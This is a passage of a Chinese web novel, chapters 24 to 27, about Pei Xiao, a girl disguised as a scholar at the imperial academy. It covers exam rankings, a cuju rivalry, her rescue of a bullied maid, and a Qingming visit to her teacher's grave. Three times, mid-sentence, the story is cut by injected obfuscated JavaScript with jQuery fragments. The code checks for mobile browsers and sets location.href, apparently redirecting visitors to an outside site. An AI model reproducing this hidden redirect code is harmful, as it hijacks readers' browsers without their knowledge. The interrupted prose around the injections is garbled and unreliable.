“若说官兵剿匪,是再正常不过,只是难凉寨与一般的山匪不一样,是义寨,从来都是劫富济贫,还杀边境劫掠的狄族人。雁城百姓对难凉寨的口碑不错,所以雁城官府一直以来对难凉寨是睁一只眼闭一只眼,并没有清剿的行动。而且当时我回去山寨,竟然一个活口都没有留,下手非常阴毒,就算是官兵找江湖人士下手,也说不过去。这不像是剿匪,倒像是灭口,这是我最奇怪的地方。”
“一个活口都没留?!”姜飒听到山寨人没留一个活口,也是一惊,更觉得是因为自己连累了山寨,忙说道,“当时的那批杀手,后来我家中一直在查,至今都没查到幕后黑手,都是些死士,也没有可以证明身份的东西。不过阿逍你放心,我一定会帮你查清当年的事。”
裴逍见姜飒一脸郑重,想着多个人帮忙查也是好事,便道,“那有劳你了。只是山寨虽为义寨,但在世人眼中,大多还是认为是匪徒,调查一事还需隐秘进行。”
“嗯”,姜飒点头回应。
裴逍又接着道,“另外,百里摇光就是当年去难凉寨剿匪的将领,当时我回山寨葬人时,曾在大雨中见过他,虽然当时天色暗,又下大雨看不太清面容,但是我来了以后他认出了我,又多次试探,我便确认了是他。”
“是他命人杀了山寨所有人?”姜飒气愤地站起来。
“我在雁城打听到的消息,率兵剿匪的将领确实是百里少将军。只是,我总觉得应该不是他下令杀死所有人,不留活口。因为我当时回山寨葬人,他发现我了,却并没有对我斩草除根,反而放了我。”裴逍回忆着当时情况,“如果真是他命人杀了山寨众人,没理由会放过明显也是山匪一员的我。”而且,百里摇光还给姜姜治了伤,带回来了养着。若他是剿灭山寨男女老幼之人,又怎么会对一只牲畜留情呢?裴逍想到昨日百里摇光所说,也觉得确有几分道理。
“那倒是。我在京中这一年,但凡听人提到这个百里少将军,都是夸他的,感觉不像是会做出这种事情的人。”姜飒思索道。
“不过,为了能继续留在这里,将来有机会查清真相,对于他的质问,我只能否认,也希望你替我保守身份。”
“阿逍你放心,我不会告诉任何人。”
·
这旬第二日,骑射课。
裴逍到得晚了些,等她去马厩中找到上次所骑的那匹白马,牵出来正待上马,裴逍突然听得一声长啸。
24. 第24章
她回过头,见一白衣束身骑装的少年驾着匹黑马,疾驰而来,身后墨色发束随风扬向一边。少年明眸皓齿,笑意灿烂,正是姜飒。
原来这一年,他已经学会了骑马。想到一年前两人被追杀之时,裴逍不觉苦笑一声。
姜飒吁地一声停下马,得意道,“阿逍,我会骑马了!你看我骑得怎么样?”
“嗯。”裴逍点了点头,“还行。”
“要不要跟我比试比试?”姜飒兴奋地扬了下缰绳。
裴逍点了下头,下一刻已翻身马上。
“阿逍,我可不会让你啊。”
裴逍鼻子里极轻地嗤了一声,纵马飞奔而出。
最后自然还是裴逍更领先,不过姜飒在一年时间将骑术练到这个程度,却也是不易的。
·
联社活动时,姜飒喊裴逍一起去蹴鞠,裴逍自然不会跟他去蹴鞠。但想到昨日发生的事,她担心祁青阳和姜飒再与那定国公嫡孙发生争执,还是拿了卷书,坐在了校场边上。
昨日众少年在监丞赶来时已纷纷逃走,监丞没抓到人,也没发生什么事,就没再追究。今日,姜飒等人在校场上又遇到了昨日发生口角又互相动手殴斗的那伙高年生。
双方心中都有气,虽然是在两边各自蹴鞠,但是在踢球时故意都往对方人身上踢,很快就又争执了起来。
裴逍闻声看过去,见年长那波少年中,有个瘦长的学子,对姜飒、夏清泽他们挑衅说“看你们这球技,不如我们教教你”。那人眼下两片黑青,看起来颇为阴柔。
“我看你们那破球技才得要小爷们教教。”虞砚不甘示弱地踮起脚,指着对方回骂。
那定国公嫡孙脚下转着鞠球,大声道,“哎呦,不服气?可是想比试比试?”
“你们五年生,我们二年生,差不多年长三岁,跟我们比,岂不是胜之不武!”姜飒道。
“说这么多,还不是不敢比?”那纨绔嘲讽道。
这话一下子激到了夏清泽,他一冲动就直接应下了,“有什么不敢?!比就比,时间你们定”。
裴逍在场边无奈地摇了摇头。
·
每旬的第三日,国子学里会将所有学子上旬旬考的成绩进行揭榜公示。
一早,二年生第一旬的课考成绩就张榜挂在了授课区域的告示栏上。
裴逍过去的时候,人群议论纷纷。她一出现,很多人目光便时不时地一直扫向她。她走过去,人群还自动分出了条缝,然后她就视野无阻地看到了榜文:
“魁首——裴逍。经义甲、算学甲、骑射甲、词赋甲、礼乐甲、史学甲”
学子中的低声议论传入她耳中。
“寒门学子上一个成绩这么好的人还是前几年的祁彦辰,好几年国子生中未见有寒门学子拿魁首了。”
祁彦辰这名字,好像在哪里听到过。裴逍心下思索着,又听到有人讲,“之前一直是林致远霸榜第一,这次竟然被比下去了,而且你们看第三个也是个寒门学子,叫祁青阳的,竟然和林致远是并列第二。”。
裴逍接着往下看,果然如此。
“第二名——林致远。经义甲、算学甲、骑射乙、词赋甲、礼乐甲、史学甲”
“第二名——祁青阳。经义甲、算学甲、骑射甲、词赋乙、礼乐甲、史学甲”
她接着又往下看了看,
第十名——百里摇光。
第十五名——夏慕卿。
倒数几名赫然就是夏清泽那几个纨绔。
裴逍倒没有很惊讶,她没在意其他人的目光,从容走向课室。
课室中,同窗们也是议论纷纷,看到她明显说话声音都小了。
裴逍仍未在意,径直往座位走去,见林致远在看她,点了点头致意。林致远略愣了下,抿抿唇,也点头回礼。
“裴逍,祝贺你获魁首啊。”夏慕卿在裴逍走近时笑着说道。
“是啊,而且六门皆为甲,不简单啊。”百里摇光说这话,也是真心的,但是在裴逍听来却总觉得有些别的意味。
裴逍只淡淡回了声,“多谢。”
钟声刚刚响起,姜飒一阵风似地卷进来,冲到座位上,边喘气边说,“阿逍你好厉害,连学业都这么好!”
“你先把气喘匀了。”裴逍无奈低声回了一句。
话音刚落,仆从推着康王进了课室。他扫视了一下,看到最后一排的姜飒,目光定住,说道,“之前宴会上听得姜飒吹奏过箫很是悦耳,不知何时可以来给我们演奏一下呢?”
姜飒站起恭敬回道,“学生下旬从家里带箫来”。
“好。其他学子下旬也将自己擅长的乐器带来吧,没有擅长的可以带自己喜欢想学的乐器来。”之后,康王仍旧一身风雅、声音清朗地讲解起了礼乐制度。
·
这日联社活动时,裴逍照例携了卷书坐在校场边阅览。不多时,她突然听到一声惊呼,“姜飒晕倒了!”
裴逍抬头看去,见夏清泽揽着姜飒坐在地上,而姜飒倒在夏清泽怀中。周围已经站了几个学子。
裴逍起身疾步行去,见姜飒眼睛紧闭着,脸色苍白。
“姜飒,姜飒!”夏清泽一边喊一边摇晃着姜飒的身体,但是姜飒仍没有要醒过来的迹象。
“我带他去医舍吧。”裴逍走近,半蹲下,“帮我把他放背上”。
夏清泽一时有些愣住。
裴逍已背对夏清泽蹲了半晌,见他没有动作,出声提醒,“夏清泽?”他方才反应过来托起姜飒,将姜飒靠伏在裴逍背上,手臂搭在了裴逍肩上。
“多谢。”裴逍伸手向后揽着姜飒的腿,下盘用力,背着姜飒站了起来。姜飒比裴逍稍高一点,但是比较瘦,裴逍自幼习武,还好能背得动。
“要不要我陪你一起去?”夏清泽问。
“不必。”裴逍说着向校场门口行去。
夏清泽看着逐渐远去的身影,忍不住自语道,“裴逍为什么对姜飒这么好?”
快到校场门口,裴逍突然听到有人叫自己。她止住脚步,看过去,见百里摇光跑了过来。
“需要帮忙吗?”百里摇光道。
裴逍道了声“不用”,转回身,背着姜飒出了校场门,向医舍而去。
“还是这个鬼样子?!找人帮忙会死吗?”百里摇光嘀咕道。他方才练剑的时候,看到裴逍背着姜飒,也不知道为什么,心里突然冒出一种冲动,想将那姜飒给扒下来。他也不能理解自己怎么会有这么奇怪的想法,下意识地过来想替裴逍背那姜飒,没想到裴逍却完全不领情。
·
这人也太脆弱了!裴逍背着姜飒去医舍的路上,心中想道。一年前在雁城里救他时,就是文文弱弱的,连骑马也不会。若不是师父和父亲的遗命,裴逍真是不想管他。
“凶”“凶”,背上的姜飒昏迷中还在咕哝呢喃,裴逍也听不明白说的什么,只听到有个音像“凶”字。她忍不住心里腹诽,昏睡着也不安稳,真是欠你的!
到了医舍,祝医师在,旁边还站着一位蒙着面纱的姑娘。
祝医师查看切脉后,说“无大碍,这学子是饿晕了”。
“饿晕了?!”裴逍哭笑不得,很快明白过来,姜飒挑食,嫌会馔堂的饭不合胃口,每顿都吃得很少。
“现在正是长身体的时候,还是要好好用膳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800012|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”祝医师嘱咐道。
姜飒在祝医师说他是饿晕的时候,便已经醒了。当神志稍清醒过来,意识到医师说是饿晕了,他感觉太窘迫了,便仍装着未醒。
直到裴逍请祝医师帮忙把他扶到裴逍背上,姜飒微睁开一点眼皮,见裴逍背对着他半矮下身,竟是要准备背他回去。他装不下去了,忙干咳了两声,缓缓睁开眼。
裴逍回转身,见姜飒醒了,问道“你现在感觉如何?”
姜飒装模做样地问,“我这是怎么了?”
“饿晕了。”裴逍直截了当说明。
“这样啊。”姜飒挠挠头,窘地低了眼。
他突然想到一个关键的问题,抬头问道,“我怎么到这来的?不会是你背过来的吧?”
“不然呢?”
“啊”,姜飒手扶额,又低头将脸藏了回去,低声道“给你添麻烦了。”
裴逍觑了他一眼,淡淡道,“回去好好吃饭”。
姜飒点了点头。
两人出了医舍房门,见有个带面纱的姑娘正在院子里照看药草。
姜飒问,“姑娘怎么在这里呀?”
那姑娘抬头看见姜飒,眼睛微弯,回说,“生病的公子原是您啊,我本来就在医舍的,昨日是在校场看管器械的院工有事请假了,我帮忙代看的。还要多谢姜公子昨日出手帮忙。”那姑娘声音温柔和煦,让人听之心暖。
“是这样啊,窦尧臣他们那伙人没再找你麻烦吧?”姜飒接着问道。
姑娘回应道,“没有,多谢公子关照”。
“对了,公子请略微等下。”说着那姑娘去房里拿了个油纸包裹递给姜飒,说道,“方才祝医师说公子是饿晕的,我这里有在街上买来的点心,不是会馔堂做的,可能公子会喜欢吃,还请公子不要嫌弃”。
那姑娘走近的时候,裴逍闻到了淡淡的草药味,看来是在医舍和药房里待久了染上的。
“多谢姑娘。那我就回去斋舍了。”姜飒又被人戳穿饿晕,窘迫起来,便赶紧告辞离去。
·
姜飒和裴逍两人往斋舍走,裴逍问起,“昨日在校场上被定国公嫡孙他们欺负的,就是医舍里这个姑娘?”
“对,那姑娘和祁青阳好好地在那里摆器械,他们就找茬欺负人。”说着,姜飒恨恨地咬了口点心。
裴逍点了点头,见姜飒半晌也没吃完一枚点心,便道,“都饿晕了,还挑食?”
姜飒叹了口气,没说话。
裴逍停下脚步,转身对着姜飒说道,“你在这里待得这么难受,饭都吃不好,何苦非要待在这?”
“因为你在这啊。”姜飒也停下来回道。他看着裴逍,大睁双眼,仿佛要让裴逍看到他眼中的真诚,“从小到大,我身边都是些趋炎附势的人,虽然他们对我百依百顺,但是我知道他们很少有真心,我不想跟他们在一块。但是你,真的是我这辈子见过最想交朋友的人!”姜飒眼睛湿漉漉的,似小鹿眼一般盯着裴逍,眼下两条春蚕都有点泛红。
又是这招?!裴逍移开眼,狠了狠心道,“你可知道,国子学学子名额有限,如果你们这些公子哥一个个都占了名额而蹉跎光阴,那给真正需要来这里读书的学子的机会,就更少了!”
姜飒长捷抖了抖,低了眉眼,“阿逍,我好好读书,好好读。你别赶我了好不好?”其实他看到裴逍成绩那么好,他就想到自己得好好读书了,这样才能和他的圈子更融合,才能离他更近。
裴逍冷眼看了看,终是没再说什么狠话,抛下了一句,“还有好好吃饭”,头也不回地疾步走了。
姜飒看着裴逍的背影,嘴角扯了起来,“原来是刀子嘴豆腐心。”
25. 第25章
会馔堂里,裴逍冷冷盯着姜飒,见他完完整整地吃了一碗饭菜,喝了一碗粥,这才收了视线。
“裴逍原来还会治厌食症哈哈哈。”夏慕卿看着平时饭菜动不了几筷子的姜飒今日竟然吃了这么多,啧啧称奇。
祁青阳也轻笑起来。
只有百里摇光没好气地说了一句,“这么大人了,吃饭还要人盯着。”
姜飒苦涩地瞅了几人一眼,悻悻地没说话。
过了一会,百里摇光开口问,“你们真要和窦尧臣他们比试蹴鞠?”
“是啊,不比显得我们怕了他们。”想起这事,姜飒也有点头疼。
百里摇光接着说道,“我之前跟父亲兄长在军中,军队里兵士也常常通过蹴鞠训练。我在校场练习武艺骑射时,有观察过窦尧臣他们那个队,他们是五年生,在一起蹴鞠很长时间了,默契也很好,技术还是有的,而且比你们年长几岁,体型力量也有差距。你们跟他们比,怕是难胜。”
“我也知道,”姜飒无奈说道,“只是夏清泽他们几个看窦尧臣的样子实在想挫他的气焰,我也只得舍命陪君子。”
·
这旬第六日,便是夏清泽和窦尧臣约定的蹴鞠比试时间。
当日联社活动时间,校场上围满了少年。因为比试的两拨人都是平日里在书院行事张扬的人,而且又是高低年生之间的比试,大家都充满了好奇,虽然心中对低年生获胜不太抱有希望,但是大部分人还是认为敢这样挑战也是很有勇气的。当然,也有不少学生是对这两伙人都看不上,纯粹来看他们互掐的。
比试一开始,因为高年生有所轻视且有些僵化守陈规,低年生则灵巧多变,速度快,且更有破釜沉舟的勇气,成绩和高年生没有太大差距,甚至还稍微领先一些。
姜飒和夏清泽在蹴鞠场上的表现,也让裴逍颇感意外。少年恣意,在校场上认真奔跑挥洒汗水,这时任何人都联想不到,他们竟是两个世家纨绔。
裴逍看着鞠场上姜飒的身影,似从他身上看到了另一个记忆中的少年,她的发小,薛泽。也是这般阳光,积极,像是朝阳旭日。裴逍低头轻叹了一声。
到下半场,高年生收起了对低年生的轻视,调整策略,更加注重身体对抗和拦截,低年生几乎都没有射门的机会,被高年生狠狠甩在了后面。结果也不出意料地是高年生赢了。
低年生人人失落愤愤,高年生嚣张地走来示威。
“说了教你们蹴鞠就是教你们蹴鞠,服不服?”窦尧臣领头倨傲地开了口。
“你——”夏清泽指着窦尧臣,气愤地刚吐了一个字,就被窦尧臣打断道,“再瞪也没用,小爷赢了就是小爷赢了。就问你服不服?”
“不服!”姜飒突然站到夏清泽旁边喊了一声。
窦尧臣身边那位黑青眼的少年笑了一声,嘲讽道,“这么多双眼睛看着呢,输了还不服,这么输不起?”
“输是输了,我们输得起,也不会拿你们高年生对低年生比试不公平来做借口。”姜飒狠狠盯着窦尧臣,虽然个子没有窦尧臣高,但气势上倒是不输,“但是,还是不服!”
窦尧臣一脸张狂笑意,与他身边的跟班们对视一番,不以为意道,“呦呵,那你待如何?”
“你等一下。”说着,姜飒将夏清泽拉到一边,两人低声商议什么。
过了一会,两人走回来道,“下个月国子学内选拔蹴鞠队员组队要与太学的蹴鞠队比试。在那之前我们再比一场,输了的,全队不得报名书院的蹴鞠队。这场比试,你们和我们都可以找同年生里其他学子组成最强队伍。敢不敢比?”
窦尧臣轻蔑地笑了笑,说道,“小爷还怕你们?能赢你们一次,就能赢你们第二次、千次、万次。”
“那就说定了!”
·
“阿逍,你加入我们蹴鞠队吧。不然我们又要输了。”
裴逍捧着书,坐在灯下看,听见姜飒的话,头都没抬,只吐了两个字,“不去。”下午看蹴鞠比试,裴逍听到他们后来的约定,就猜到这人估计是要拉人组蹴鞠队了,上次帮他挡开窦尧臣的那脚鞠,估计会让自己也被拉进去。
“为何不愿意啊?”姜飒问。
“没兴趣。”
“那你忍心看我们输嘛?”姜飒又要施展小鹿眼大法,裴逍低头不看他,回说,“为何不忍心?你们错误估计敌我形势,不自量力,非要跟人家比,那能怪谁?”
“啊,那是之前嘛。如果阿逍你愿意加入我们,再招揽几个蹴鞠的好手,那形势就不一样了呀。虽然他们年长体壮,但我们低年生也未必没有赢的机会。”
裴逍听到这,回了一句,“那倒也是”。
姜飒眼睛亮起来,“这么说,你是同意了?”
“不去”。
“啊!阿逍。”姜飒受挫地长叹一声,趴在了几案上。
百里摇光沐浴前就见姜飒在这劝裴逍,回来看到这厮竟然还在这软磨硬泡,顿时不耐烦起来,开口道,“裴逍说了不去,你没听到?!”
姜飒回头看见百里摇光,眼睛一亮,又兴奋地冲百里摇光跑过去。快到百里摇光身前,他被百里摇光长臂一伸拦住,“好好说话!别走那么近!”
“你蹴鞠应该很厉害吧?要不要加入我们蹴鞠队?”姜飒颇为殷切地问。
百里摇光抱起双臂,得意道,“我蹴鞠那自然是没说的。”
姜飒双眼晶亮,喜上眉梢。
“不过,你们的蹴鞠队太差了,我可不想进去输球丢人。”
姜飒脸瞬间皱了起来。旋即他眼睛转了转,又笑着道,“虽然我们蹴鞠队水平不太好,但是如果本来就是一支强队,也体现不了你们的能力呀是不是?带领我们这样一支队伍取胜感觉不是更好吗?”
“嗯...你说的有些道理。”
“所以,百里少将军要加入我们吗?”
“我再考虑考虑吧。”
姜飒还欲再劝,就被百里摇光给推送了出去,还关上了门。
门里传出来百里摇光的几声朗笑。姜飒被扫地出门,撇了撇嘴,回了自己斋舍。
“你为何不愿意参加蹴鞠队?”百里摇光见那日裴逍拦窦尧臣的鞠球时,身手伶俐漂亮,应是蹴鞠不错的。而且裴逍与姜飒关系近,他料想裴逍肯定会参加蹴鞠队,因
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800013|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此见裴逍不愿参加,反而有些意外。
裴逍收了书卷,淡淡吐了三个字。“没兴趣。”
第二日用膳时,百里摇光问,“你们蹴鞠队招揽得怎么样了?”
姜飒怏怏不乐地回应,“没人愿意参加。”
夏慕卿噗嗤笑了出来,姜飒狠狠地瞪了他一眼。
祁青阳看了看他,说道,“我幼时和村里小童蹴鞠过一段时间,那我试试?”
姜飒高兴起来,“太好了!青阳,你是第一个愿意加入我们的。虽然你看起来文文弱弱的,不过你有这份心,我已经很感激你了。”
祁青阳笑着道,“我会尽力,不过如果蹴球技术不过关,你们队长看不上,那就没办法了。”
·
第二旬的旬考在即,姜飒近来又要复习备考,又要给蹴鞠队招揽人,还要在蹴鞠队训练磨合,忙得不见人影。祁青阳和他差不多,还要兼顾在书院里做工。
因此,裴逍在典籍楼只见到了百里摇光和夏慕卿。百里摇光在温书,夏慕卿仍旧胡天海地看各种杂书,也不知是他看得快,还是他都不感兴趣,不过多久,便要去换一卷来看。
裴逍又找了那本《国子学历届学子优秀诗文集》来看,突然一个名字跳入了她的眼中,“祁彦辰”。她突然想起来,旬考成绩揭榜时听周围学子们所说,此人也是出身寒门,且曾经占据榜首许久。
她之前也听祁青阳和夏慕卿称赞过此人的文章。
裴逍仔细阅览起来,一看发现,这祁彦辰的文章鞭辟入里,不仅文采斐然,而且切合时弊,并非空谈。这人,确实很有才华。他是太和十一年入学的二年生,现在三年过去,按理应该还在国子学就读。但裴逍却想起揭榜时有学子说好几年没有寒门学子拿魁首了,莫非这祁彦辰已经不在国子学了?
不过这些到底与裴逍并没有太大关系,她轻晃了晃头,还是往前翻到了裴晔的文章停住,仿佛从那字里行间,能看到父亲又活生生地出现在她眼前。
直到姜飒从校场过来,拿着纸笔请教算学题,裴逍才回过神。
裴逍接过那张纸,只见纸上所写题目是“今有蹴鞠场,中周六十二步、四分步之三...”。
这是用各种手段想让她加入蹴鞠队了,裴逍心中无奈,她没再往下看,将那纸直接丢回给了姜飒。
·
第八日旬考完前三科,裴逍在典籍楼归还了书籍,便往斋舍走去。
经过园林处,裴逍突然听到有少年大声斥责,“你这个贱婢,又丑又贱,竟敢往我身上泼水!”
那声音有些熟悉。
随后,响起了轻柔的女子声音,“公子恕罪,我不是有意的。”这声音听起来也像是在哪听到过。
“那我给你好好浇浇”。
随后是一连串走动、摩擦的声音,还有女子挣扎和求饶的声音,“啊,我再也不敢了。请公子们饶过我这回吧。”
裴逍往前赶几步,绕过树丛,见又是窦尧臣那纨绔。
在窦尧臣对面,一个姑娘跌坐在地上,旁边还有两个纨绔在摁着她。窦尧臣手里拿着一个水壶,正在往那姑娘头上浇水。
26. 第26章
怒气袭上心头,裴逍疾走几步,上前飞起一脚,踹开那个水壶,揪开摁着姑娘的两个纨绔,挡在了姑娘身前。
“公子我没事的,你快走吧,不用管我”。裴逍听到身后的姑娘这么说,她没回头,只是安抚了一声,“姑娘别怕”。
裴逍微微抬头,盯着前面的窦尧臣道,“窦公子,在堂堂京中学府国子监里,都敢这么欺凌弱小,当监丞和祭酒是摆设吗?”
窦尧臣看见是裴逍,气不打一处来,骂道,“又是你这个穷酸书生,上次林曦月的事还没找你清算,你又上赶着讨打来了。”他当即招呼旁边两个纨绔要围攻裴逍。
裴逍一手拦住当先一人的拳头,抓着其胳膊一反扭,往他后面的人身上一摔,两个纨绔摔做一团。
“一起上!”窦尧臣喊着,三人一起向裴逍过来,还未到裴逍身前,突然一道身影掠来,三个人惨叫着摔了回去。
“滚”。百里摇光站在裴逍身前,对着三个纨绔冷斥了一声。
窦尧臣一看是百里摇光,不管武力还是家世,都不好得罪,揉着胸口喊了两个纨绔起身走了,走时还不忘恶狠狠地冲着裴逍说,“你等着!”
裴逍冷冷扫了一眼,回身扶那跌坐在地上的姑娘。
她稍一矮身,看见姑娘脸上从鼻子中段往下一直到下巴,布满了可怕的疤痕,像是烧伤,不由一怔。
“对不住公子,我这就戴上面纱”。那姑娘神情惶恐,忙低了头在地上摸索着找面纱。
“不是,无妨。”裴逍赶忙道。
百里摇光将面纱递了过来,姑娘接过,匆忙说了声“谢谢公子”,便将面纱戴在脸上,两头利落系在了脑后。
裴逍这才认出是医舍里那位姑娘。
“多谢两位公子相救。只是,因为兰惜,让两位公子得罪了那帮人。兰惜实在担心,担心他们会对两位公子不利。”那姑娘身体和声音都在抖,想是真的很害怕。
“兰惜姑娘,别多虑。我之前就得罪过那纨绔,也不差这一桩了。”裴逍说着,将她扶起来。
兰惜看着裴逍,一脸认真和担忧,“那帮人真的很可怕,两位公子一定要小心他们!”
裴逍见其神情郑重,应道,“好。你可还好?需不需要扶你回去?”
“我可以的,两位公子留步。”兰惜姑娘说完转身缓缓走了,空气中还弥散着一些草药味。
“唉,真是可惜了。”百里摇光轻叹了一声。
裴逍看向他,“你可知这姑娘为何会容貌尽毁?”
“我去哪里知道啊?”百里摇光道,“不过,我又救了你一次,你也不说声谢?”
裴逍移开目光,没回应当先走了。
“喂,虽然你自己也能摆平,但我替你出面,总比你直接得罪那纨绔要好些吧。”百里摇光在后面道。
裴逍仍未开口,只是嘴角轻轻扬起了一个极小的弧度,听到后面人迅速靠近的声音,那弧度立马收了回去。
百里摇光跟上来,“马上清明休沐了,你有什么安排吗?”
说及此,裴逍眉宇间闪过一抹愁色,摇了摇头。
百里摇光瞥见裴逍神情,想到一年前初见他时发生的事,便也没再问了。
·
最后一科骑射旬考完,学子们纷纷装点行李离开国子监。清明祭祖是传统,又是五日的不短的休沐期,家不在京中,但路程赶得及往返的很多学子,也都会选择回乡过节。
裴逍斋舍院里的这几位不是皇亲国戚,就是高官大族,规矩只多不少,是故也都一个个回家了,就连祁青阳也说家中有事走了。
偌大的一个国子学,突然变得很冷清,裴逍斋舍所在的院子里只剩了她一人。
一灯如豆,裴逍坐在灯下,正拿着几卷文章抄写研读。
这几卷文章是她从典籍楼里借来的,是前国子监祭酒谢渊谢太傅所写。其中有一篇还是谢太傅的亲笔,纸上笔力苍劲、游刃有余,昭示着书写之人胸有丘壑,而又极从容淡然,定是一番不逊于魏晋名士的风骨。
只可惜,她无缘得见真身了。
谢太傅的笔迹对于裴逍来说,并不陌生。幼时,父亲就是拿类似这样的笔迹帖子,给她临摹的,她只知那笔迹与父亲的笔迹不同,并不知道是谁的笔迹。
直到今日,她才知道,原来那些帖子,是父亲模仿谢太傅笔迹写的。
她忍不住想,如果父亲就是裴晔,是天福十二年的国子生,那时谢太傅仍在国子学任教,父亲熟悉谢太傅的笔迹就再正常不过了。
裴逍轻叹了口气。
翻过一卷书页,她突然发现有张书笺夹在其中,笺上小楷字迹秀挺清隽,写的是“为往圣继绝学,师未竟之遗憾”。
写书笺的人难道是谢太傅的学生?还是说只是旁的人看到谢太傅文章,萌生了对自己老师的感慨?单从这书笺,裴逍也看不出更多。她细看着那笔迹,只觉得有些熟悉,但一时想不起在哪见过,便将这字迹模仿抄写下来,抄完后将书笺仍归回原位,想着或许以后会有机会得知。
·
第二日清早,在黄莺“啁啁啾啾”的啼叫声中,裴逍悠悠醒转。
她想起许久未练习武艺,趁现在院中无人,倒是可以自在练一练。如此想着,她便起身将墙角里靠着的一杆红缨枪挟出了门,在院中挥舞起来。
清风吹来,树上的新旧叶子因着春风,夹着少年挥动枪杆而生的风,飘散而下。少年仿佛听到了记忆中亲切、洪亮又威严的教导声,“枪要直,出枪要有力......”
少年跳转挥动着,越加精神勃发,仿佛正在向记忆中的人展示自己的进步,不知疲倦。
直到淅淅沥沥的春雨渐渐浸湿衣衫,她终于停下,轻叹了口气,掣了枪,徐徐走回屋内。
·
清明一早,裴逍拿出家中小书铺掌柜从雁城托人辗转带来的杏花酒,踏入簌簌雨中,走到院里梧桐树下,面朝北方斟满一杯,举起,从左至右向地上洒了,口中喃喃道,“师父,师娘,阿泽......,难凉寨的乡亲父老,我定会查清你们被害的真相,让幕后真凶付出代价。”
接着裴逍又洒了一杯酒,轻道了声“父亲,这是你最喜欢的杏花酒”,便久久不再言语,也没有动作。
直到几声突然的鸟雀鸣叫,她方才回过神来。
随后,她将酒放回,带着杏花酒的香气,出了国子学一路向东,走到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800014|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
城东郊一里外的玉山脚下。
诗文课考完那日,阮先生说,谢太傅的墓就在延兴门外的玉山上,如果有学子想去祭拜的话,可以自行去。
虽然不知道别人会不会去祭拜谢太傅,但裴逍想去,因为是有谢太傅的坚持和努力,裴逍作为寒门学子今日才有机会入国子学读书。更何况,父亲很可能是谢太傅的学生,自己也应代替父亲去祭拜一下。
她在山中穿梭,见到一处密林掩映下,有块墓牌,猜想可能是到了。她走近一看,却见墓牌上写的“祁彦辰之墓”。
祁彦辰?!
裴逍心里一惊,这人岂不就是文章被收录到《国子学历届学子优秀诗文集》中的那位学子?也是她看榜时,听其他学子议论的虽出身寒门,却学业优秀长期处于魁首的那位学子。没想到,他也就早裴逍他们几年入学,竟然已经不在人世了?
裴逍轻叹了口气。
那墓前有不少瓜果祭品、纸钱等,想来是其亲友来祭拜放置的。裴逍躬身行了一礼,继续向北走去。
最后裴逍找到一处拱起的石包,她转到正面,见其上石碑赫然写着,“先师谢渊之墓。”
石包旁松柏苍翠,伴着清风和林间鸟鸣,显得格外幽静。墓前杂草很少,想来是时常有人来祭拜清扫的。
裴逍走到墓前,深深拜了几拜。
突然她耳朵微微动了动,连忙起身,躲到了旁边一块大石头后面。
有两个男子的声音越来越近,越来越清晰。
过了一会儿,那两个男子停在了与她一石之隔的谢太傅墓前。
“你家中清明祭扫的事情都办好了?”一男子声音响起。
“都安排妥当了,我家中简单,事情交给拙荆去办就好了。”又一男子声音响起,这声音裴逍听得耳熟。那男子接着道,“倒是你,家中事情很多吧?也是难为你,现在抽空跑来拜祭老师。”裴逍想了起来,这声音听起来像是阮先生。
“还好。”另一男子简单回道。接着便是一阵动作、摆放物品的声响,想是那二人在陈设祭品、行礼。
“你有没有闻到什么味道?”男子声音又响了起来。
“什么味道?”像阮先生的那人问。
“酒味。”说着,那人似乎走动了起来,“就是这附近。”
“应该是有其他同门来祭拜老师吧。”
“是杏花酒。”
半晌,那人又接着道,“杏花酒,可是熙之那厮当年最喜欢喝的。”
裴逍不由想到,最喜欢喝杏花酒,那不是与父亲一样?
只听声音像阮先生的那人回应,“是啊...只是熙之他,可能已经不在了吧?”
“你为何这么说?你有他的消息了?”
“没”。之后,两人都没再说话。直到他们祭拜完离开,裴逍才走了出来。
墓前陈列了瓜果祭品,还有些没完全烧尽的纸屑,裴逍走近拿起看了看,见一张不完整的纸片上面字迹秀挺清隽,竟与昨夜自己在谢太傅的文集中发现的那张书笺上的字迹相似,像是一人所写,而那上面的内容,是对儒家古经的注述。
裴逍轻轻放回那纸片,朝着墓碑又行了个大礼,下山离去。
27. 第27章
“花间一壶酒,独酌无相亲。举杯邀明月,对影成三人...”
少年声音清朗,染着几分醉意。
裴逍趴在几案上看着茶杯,杯中盛满了杏花酒,酒里倒映出夜间放晴后出现的弦月,房舍门大开着。
“父亲、师父、师娘、阿泽...”少年呢喃反复念着。
明月清风下,一个才十几岁的少年却仿若历经了数十载的沧桑......
·
